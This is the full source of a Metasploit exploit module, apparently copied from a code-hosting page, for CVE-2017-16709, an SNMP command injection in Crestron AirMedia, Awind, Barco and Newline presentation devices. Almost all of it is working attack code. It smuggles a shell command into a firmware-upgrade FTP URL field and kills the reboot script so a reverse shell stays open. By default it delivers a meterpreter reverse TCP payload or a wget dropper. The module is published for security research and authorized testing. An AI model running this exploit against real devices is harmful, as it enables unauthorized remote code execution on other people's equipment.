Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SNMPClient9include Msf::Exploit::CmdStager1011def initialize(info={})12super(update_info(info,13'Name' => "AwindInc SNMP Service Command Injection",14'Description' => %q{15This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.16A valid SNMP read-write community is required to exploit this vulnerability.1718The following devices are known to be affected by this issue:1920* Crestron Airmedia AM-100 <= version 1.5.0.421* Crestron Airmedia AM-101 <= version 2.5.0.1222* Awind WiPG-1600w <= version 2.0.1.823* Awind WiPG-2000d <= version 2.1.6.224* Barco wePresent 2000 <= version 2.1.5.725* Newline Trucast 2 <= version 2.1.0.526* Newline Trucast 3 <= version 2.1.3.727},28'License' => MSF_LICENSE,29'Author' =>30[31'Quentin Kaiser <kaiserquentin[at]gmail.com>'32],33'References' =>34[35['CVE', '2017-16709'],36['URL', 'https://github.com/QKaiser/awind-research'],37['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']38],39'DisclosureDate' => '2019-03-27',40'Platform' => ['unix', 'linux'],41'Arch' => [ARCH_CMD, ARCH_ARMLE],42'Privileged' => true,43'Targets' => [44['Unix In-Memory',45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Type' => :unix_memory,48'Payload' => {49'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}50}51],52['Linux Dropper',53'Platform' => 'linux',54'Arch' => ARCH_ARMLE,55'CmdStagerFlavor' => %w[wget],56'Type' => :linux_dropper57]58],59'DefaultTarget' => 1,60'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))6162register_options(63[64OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),65])66end676869def check70begin71connect_snmp72sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s73print_status("Target system is #{sys_description}")74# AM-100 and AM-101 considered EOL, no fix so no need to check version.75model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first76case model77when 'AM-100', 'AM-101'78return CheckCode::Vulnerable79else80# TODO: insert description check for other vulnerable models (that I don't have)81# In the meantime, we return 'safe'.82return CheckCode::Safe83end84rescue SNMP::RequestTimeout85print_error("#{ip} SNMP request timeout.")86rescue Rex::ConnectionError87print_error("#{ip} Connection refused.")88rescue SNMP::UnsupportedVersion89print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")90rescue ::Interrupt91raise $!92rescue ::Exception => e93print_error("Unknown error: #{e.class} #{e}")94ensure95disconnect_snmp96end97Exploit::CheckCode::Unknown98end99100def inject_payload(cmd)101begin102connect_snmp103varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))104resp = snmp.set(varbind)105if resp.error_status == :noError106print_status("Injection successful")107else108print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")109end110rescue SNMP::RequestTimeout111print_error("#{ip} SNMP request timeout.")112rescue Rex::ConnectionError113print_error("#{ip} Connection refused.")114rescue SNMP::UnsupportedVersion115print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")116rescue ::Interrupt117raise $!118rescue ::Exception => e119print_error("Unknown error: #{e.class} #{e}")120ensure121disconnect_snmp122end123end124125def trigger126begin127connect_snmp128varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))129resp = snmp.set(varbind)130if resp.error_status == :noError131print_status("Trigger successful")132else133print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")134end135rescue SNMP::RequestTimeout136print_error("#{ip} SNMP request timeout.")137rescue Rex::ConnectionError138print_error("#{ip} Connection refused.")139rescue SNMP::UnsupportedVersion140print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")141rescue ::Interrupt142raise $!143rescue ::Exception => e144print_error("Unknown error: #{e.class} #{e}")145ensure146disconnect_snmp147end148end149150def exploit151case target['Type']152when :unix_memory153execute_command(payload.encoded)154when :linux_dropper155execute_cmdstager156end157end158159def execute_command(cmd, opts = {})160# The payload must start with a valid FTP URI otherwise the injection point is not reached161cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"162163# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback164# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and165# keep our reverse shell opened :)166cmd << "$(pkill -f /etc/reboot.sh)"167168# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad169cmd << "A" * (255-cmd.length)170171# we inject our payload in camFWUpgradeFTPURL172print_status("Injecting payload")173inject_payload(cmd)174175# we trigger the firmware download via FTP, which will end up calling this176# "/bin/getRemoteURL.sh %s %s %s %d"177print_status("Triggering call")178trigger179end180end181182183